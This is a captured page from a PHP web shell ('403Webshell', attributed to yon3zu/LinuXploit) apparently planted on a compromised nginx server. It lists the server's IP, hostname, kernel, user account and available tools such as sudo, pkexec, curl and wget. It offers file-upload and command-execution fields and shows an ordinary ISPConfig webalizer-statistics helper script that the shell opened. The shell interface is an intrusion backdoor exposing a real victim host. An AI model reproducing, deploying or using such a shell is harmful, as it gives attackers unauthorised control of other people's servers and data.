403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/ispconfig3_install/helper_scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/ispconfig3_install/helper_scripts//recreate_webalizer_stats.php
<?php

//######################################################################################################
// Re-Create webalizer statistics
//######################################################################################################


$sql = "SELECT domain_id, domain, document_root FROM web_domain WHERE server_id = ?";
$records = $app->db->queryAllRecords($sql, $conf["server_id"]);
foreach($records as $rec) {
	$domain = escapeshellcmd($rec["domain"]);
	$logdir = escapeshellcmd($rec["document_root"].'/log');
	$statsdir = escapeshellcmd($rec["document_root"].'/web/stats');
	$webalizer = '/usr/bin/webalizer';

	$webalizer_conf_main = '/etc/webalizer/webalizer.conf';
	$webalizer_conf = escapeshellcmd($rec["document_root"].'/log/webalizer.conf');
	exec("rm -rf $webalizer_conf");
	if(!@is_file($webalizer_conf)) {
		exec("cp $webalizer_conf_main $webalizer_conf");

		setConfigVar($webalizer_conf, 'Incremental', 'yes');
		setConfigVar($webalizer_conf, 'IncrementalName', $logdir.'/webalizer.current');
		setConfigVar($webalizer_conf, 'HistoryName', $logdir.'/webalizer.hist');
	}

	if(!@is_dir($statsdir)) mkdir($statsdir);


	echo "Remove stats dir $statsdir ...\n";
	exec("rm -rf $statsdir/*");

	echo "Re-Create stats for $domain...\n";
	exec("for logfile in $logdir/*access*; do\n$webalizer -c $webalizer_conf -n $domain -s $domain -r $domain -q -T -p -o $statsdir ".'$logfile'."\ndone");
	echo "done.\n";
}

die("finished.\n");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit